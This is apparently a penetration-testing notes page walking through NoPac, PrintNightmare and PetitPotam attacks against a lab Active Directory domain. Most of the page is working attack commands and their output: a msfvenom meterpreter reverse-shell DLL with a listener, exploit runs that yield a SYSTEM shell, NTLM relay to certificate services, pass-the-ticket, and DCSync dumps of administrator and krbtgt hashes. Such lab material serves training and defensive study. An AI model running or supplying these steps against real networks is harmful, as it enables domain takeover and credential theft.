🔪Bleeding Edge Vulnerabilities

NoPac (SamAccountName Spoofing)

Nopac or the Same_TheAdmin vulnerability is an emerging threat released at the end of 2021. The attack is made up of two CVEs: 2021-42278 and 2021-42287

These may allow the attacker intra-domain privilege escalation from any standard user to Domain Admin level access.

The flow of the attack can be seen here

LogoUnderstanding noPac VulnerabilitiesSecureworks

NoPac uses a tool in Impacket to communicate with. upload a payload and issue a command from the attack host to the target DC.

Installation 

git clone https://github.com/Ridter/noPac.git

Scanning for NoPac

We can use NoPac to check if the system is vulnerable, we use a standard domain user to attempt to gain a TGT from the target DC. If we see ms-DS-MachineAccountQuota = 10 we know it is vulnerable but if ms-DS-MachineAccountQuota = 0 the attack will fail because our user does not have the rights to add a new machine account.

sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap

[*] Current ms-DS-MachineAccountQuota = 10
[*] Got TGT with PAC from 172.16.5.5. Ticket size 1484
[*] Got TGT from ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL. Ticket size 663

Getting a Shell

Once we know the system is vulnerable, we can attempt to get a shell with SYSTEM-level privileges.

We should not that this could be considered "noisy" and may be blocked by AV programs

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap

DCSync the Built-in Admin Account

If successful we will now have a .local.cache file on our host.

We can use the file to perform a pass-the-ticket and perform a DCSync attack

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator

PrintNightmare

PrintNightmare is a vulnerability found in the Print Spooler service that runs on all Windows OSs. Many exploits have been created based on this to allow privilege escalation and remote code execution.

Install Exploit

git clone https://github.com/cube0x0/CVE-2021-1675.git

Install cube0x0's Version of Impacket

We must make sure that we are using the correct version of Impacket,

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Enumerating for MS-RPRN

We can use the below command to see if Print System Asynchronous Protocol and Print System Remote Protocol are exposed on the target. Once confirmed we can move onto the next step.

 rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'

Generating a DLL Payload

We craft a DLL payload with msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll

Generate a Share with smbserver.py

We will host the payload in an SMB share 

sudo smbserver.py -smb2support CompData /path/to/backupscript.dll

Setting us MSF multi/handler

Once the share is created and hosting our payload we can set up a listener to catch the reverse shell 

[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST 172.16.5.225
LHOST => 10.3.88.114
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 8080
LPORT => 8080
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 172.16.5.225:8080

Running the Exploit

We make sure to have \\<ip address of attack host>\ShareName\nameofpayload.dll in our command then we can finally run the exploit, if it is successful we will receive an elevated SYSTEM shell.

 sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

PetitPotam (MS-EFSRPC)

PetitPotam is an LSA spoofing vulnerability that was patched in 2021. The exploit allows an unauthenticated attacker to coerce a DC to authenticate against another host using NTLM over port 445 via the Local Security Authority Remote Protocol (LSARPC).

This allows an attacker to take over a Windows domain where Active Directory Certificate Server (AD CS) is in use.

In the attack, an auth request from the target DC is relayed to the CA host's Web Enrollment page and makes a Certificate Signing Request (CSR) for a new certificate. This certificate can be used with a tool such as Rubues or gettgtpkinit.py to request a TGT for the DC.

To find the location of the CA we can use a tool like https://github.com/zer1t0/certi.

Starting ntlmrelayx.py

We first start ntlmrelayx.py specifying the enrollment URL for the CA host.

sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

[*] Setting up WCF Server

[*] Servers started, waiting for connections

Running PetitPotam

In another window, we can start PeitiPotam and pass in the attack host IP and DC IP.

python3 PetitPotam.py 172.16.5.225 172.16.5.5

Trying pipe lsarpc
[-] Connecting to ncacn_np:172.16.5.5[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!

[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

Catching Base64 Encoded Certificate for DC01

If the login was successful we can try and obtain a base64 cert for the DC

sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

Requesting a TGT

We can use the base64 cert with gettgtpkinit.py to request a TGT for the DC

 python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache

Setting the KRB5CCNAME Env Variable

The TGT was saved as dc01.cache file which we can pass into the KRB5CCNAME env variable so our attack host used this file for Kerberos authentication attempts.

export KRB5CCNAME=dc01.ccache

Using Domain Controller TGT to DCSync

We can use this TGT with secretsdump.py to perform a DCSync and retrieve one or all NTLM hashes for the domain

secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

Confirming Admin Access to the DC

crackmapexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf

Submitting a TGS Request for Ourselves using getnthash.py

We can use the tool getnthash.py to request the NT hash for our target using Kerberos U2U to submit a TGS request with the Privileged Attribute Certificate (PAC).

python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$

Using DC NTLM Hash to DCSync

We can use the obtained hash to perform a DCSync 

secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba

Requesting TGT with Rubeus

We could alternatively use the certificate we got earlier with Ruebus on the Windows attack host to request a TGT ticket and perform a PTT attack

.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /certificate:MIIStQIBAzC...SNIP...IkHS2vJ51Ry4= /ptt

[+] Ticket successfully imported!

  ServiceName              :  krbtgt/INLANEFREIGHT.LOCAL
  ServiceRealm             :  INLANEFREIGHT.LOCAL
  UserName                 :  ACADEMY-EA-DC01$
  UserRealm                :  INLANEFREIGHT.LOCAL
  StartTime                :  3/30/2022 3:50:25 PM
  EndTime                  :  3/31/2022 1:50:25 AM
  RenewTill                :  4/6/2022 3:50:25 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  d/AohN1w1ZZXsks8cCUlbg==
  ASREP (key)              :  2A621F62C32241F38FA68826E95521DD

Confirming the Ticket is in Memory

We can check to see if the ticket is in memory

klist

Performing DCSysnc with Mimikatz

Finally, we can perform the attack with the PTT. 

PS C:\Tools> cd .\mimikatz\x64\
PS C:\Tools\mimikatz\x64> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'inlanefreight\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 10/27/2021 8:14:34 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 16e26ba33e455a8c338142af8d89ffbc
    ntlm- 0: 16e26ba33e455a8c338142af8d89ffbc
    lm  - 0: 4562458c201a97fa19365ce901513c21
PreviousPrivileged AccessNextMisconfigurations

Last updated

Was this helpful?